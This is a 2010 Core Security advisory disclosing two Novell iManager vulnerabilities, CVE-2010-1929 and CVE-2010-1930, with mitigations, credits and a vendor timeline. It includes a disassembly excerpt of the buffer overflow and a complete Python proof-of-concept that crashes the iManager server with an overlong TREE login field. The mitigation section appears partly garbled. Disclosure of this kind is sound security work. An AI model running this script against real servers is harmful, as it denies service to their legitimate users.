Novell iManager Multiple Vulnerabilities
**Title:**Novell iManager Multiple Vulnerabilities
**Advisory Id:**CORE-2010-0316
Advisory URL:http://www.coresecurity.com/content/novell-imanager-buffer-overflow-off-by-one-vulnerabilities
**Date published:**2010-06-23
**Date of last update:**2010-06-23
**Vendors contacted:**Novell
**Release mode:**User release
**Class:**Stack-based buffer overflow [CWE-119], Off-by-one error [CWE-193]
**Impact:**Code execution, Denial of service
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
CVE Name:CVE-2010-1929, CVE-2010-1930
Bugtraq ID:40480, 40485
Novell iManager is a Web-based administration console that provides customized secure access to network administration utilities and content from any location in the world. With iManager you can manage Novell Open Enterprise Server, Novell Identity Manager, Novell eDirectory and many other Novell and third-party services from a web browser. Novell iManager is prone to a stack-based buffer overflow vulnerability that can be exploited by authenticated users to execute arbitrary code, and to an off-by-one error that can be abused by remote, unauthenticated attackers to cause a Denial of Service to the application.
Novell has a planned release of iManager 2.7.4 in August 2010; this release should fix these issues. The Novell team notifies they will provide patches for the current vulnerable versions with the 2.7.3 ftf4 release before August, but this release was not confirmed yet (see the timeline for more details). In the meantime, users can mitigate these flaws by doing these countermeasures:
EnteredClassID
and NewClassName
in POST requests to the URI /nps/servlet/webacc/
.Tree
in POST requests to the URI /nps/servlet/webacc/
.Similar rules can also be established in the Apache webserver of the iManager installation in order to mitigate these flaws.
This vulnerability was discovered and researched by Francisco Falcon from Core Security Technologies.
Novell iManager [1] is a Web-based administration console that provides customized secure access to network administration utilities and content from any location in the world. With iManager you can manage Novell Open Enterprise Server, Novell Identity Manager, Novell eDirectory and many other Novell and third-party services from a web browser. Novell iManager is prone to a stack-based buffer overflow vulnerability that can be exploited by authenticated users to execute arbitrary code, and to an off-by-one error that can be abused by remote, unauthenticated attackers to cause a Denial of Service to the application. These two vulnerabilities are described below.
[CVE-2010-1929 | 4048] Novell iManager provides a feature to create classes, under the Schema
menu. The class name is intended to have a maximum length of 32 characters. This limitation is enforced on the client side by setting a maxlength
property with a value of 32 in the proper form field, but no verification is performed on the server side to ensure that the user-defined class name is, at most, 32 characters long. By tampering the POST request that sends the class name when creating a new class, an authenticated user can define an overly long class name that will cause a stack-based buffer overflow on the iManager web server, making it possible for the attacker to overwrite return addresses and Structured Exception Handlers, allowing the execution of arbitrary code with the privileges of the current user (in the case of iManager Workstation) or with SYSTEM privileges (in the case of iManager Server).
On the server side, the creation of a new class is handled by the jclient._Java_novell_jclient_JClient_defineClass@20
function, in the jclient.dll
module of the iManager Tomcat web server. This function in turn invokes a subroutine that copies the user-defined class name to a fixed-size buffer in the stack, without checking its length. The following disassembled code of the Novell iManager Tomcat web server illustrates the vulnerability.
[jvm.dll + 0x1055CC]
6D9B55CC |. 8B7D 18 MOV EDI,DWORD PTR SS:[EBP+18] ; edi = destination buffer in the stack
6D9B55CF |. 83E1 3F AND ECX,3F
6D9B55D2 |. D3E0 SHL EAX,CL
6D9B55D4 |. 8D7472 0C LEA ESI,DWORD PTR DS:[EDX+ESI*2+C] ; esi = pointer to class name
6D9B55D8 |. 8BC8 MOV ECX,EAX ; ecx = length of class name
6D9B55DA |. 8BD1 MOV EDX,ECX
6D9B55DC |. C1E9 02 SHR ECX,2
6D9B55DF |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; *BUFFER OVERFLOW*
[CVE-2010-1930 | 4048] There is an off-by-one error in the code that handles the login process that can be abused by remote, unauthenticated users to crash the iManager web server, thus denying the service to legitimate users.
The three input fields in the login page of iManager have defined a maxlength
property with a value of 256 to limit the number of characters that can be entered in each field. However, if a login request is sent to the web server having a TREE
field with a length of 256 characters, the iManager Tomcat web server will crash, rendering the application unavailable.
The following Python script is a proof of concept of the vulnerability, and will crash the Novell iManager instance specified via command-line arguments:
#Usage: $ python poc.py <iManager_IP> <iManager_Port>
#E.g: $ python poc.py 192.168.0.1 48080
import socket
import sys
import time
import httplib
def server_uses_SSL(host, port):
#Try to determine if the server is using HTTP over SSL or not.
headers = { 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-us,en;q=0.5',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Connection':'close'}
using_ssl = True
conn = httplib.HTTPSConnection(host, port)
try:
conn.request('GET', '/nps/servlet/webacc', headers=headers)
response = conn.getresponse()
except socket.sslerror:
using_ssl = False
finally:
conn.close()
return using_ssl
def post_urlencoded_data(host, port, selector, body, use_ssl, get_resp=True):
headers = { 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-us,en;q=0.5',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Referer': 'http://%s:%s%s' % (host, port, '/nps/servlet/webacc'),
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length': str(len(body)),
'Connection':'close'}
if use_ssl:
conn = httplib.HTTPSConnection(host, port)
else:
conn = httplib.HTTPConnection(host, port)
conn.request('POST', selector, body, headers)
html = ''
#This flag allows me to avoid keeping waiting for a server response in the last step, when the webserver is crashed
if get_resp:
response = conn.getresponse()
html = response.read()
conn.close()
return html
def getPostParameters():
params = 'rank=primary&DoLogin=true&forceMaster=false'
params += '&username=admin&password=mipass&tree=%s&Entrada.x=27&Entrada.y=13' % ('A' * 256)
return params
def main():
host = sys.argv[1]
port = int(sys.argv[2])
#Determine if the server uses plain HTTP (iManager Workstation) or HTTPS (iManager Server)
uses_ssl = server_uses_SSL(host, port)
if uses_ssl:
print '(+) The server uses HTTP over SSL. Guessed target: iManager Server.'
else:
print '(+) The server uses plain HTTP. Guessed target: iManager Workstation.'
print '(+) Sending login request with 256-character long TREE field...'
post_urlencoded_data(host, port, '/nps/servlet/webacc', getPostParameters(), uses_ssl, False)
print '(+) Malicious request successfully sent.'
#Wait 10 seconds and try to connect again to iManager, to check if it's down
print '(+) Waiting 10 seconds before trying to reconnect to iManager...'
time.sleep(10)
try:
print '(+) Trying to reconnect...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.close()
print '(!) Something went wrong. Novell iManager is still alive.'
except socket.error:
print '(*) Attack successful. Novell iManager is down.'
if __name__ == '__main__':
main()
[1] Novell iManager: <http://www.novell.com/products/consoles/imanager/overview.html>.
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: <http://www.coresecurity.com/corelabs>.
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company’s flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at <http://www.coresecurity.com>.
The contents of this advisory are copyright © 2010 Core Security Technologies and © 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc.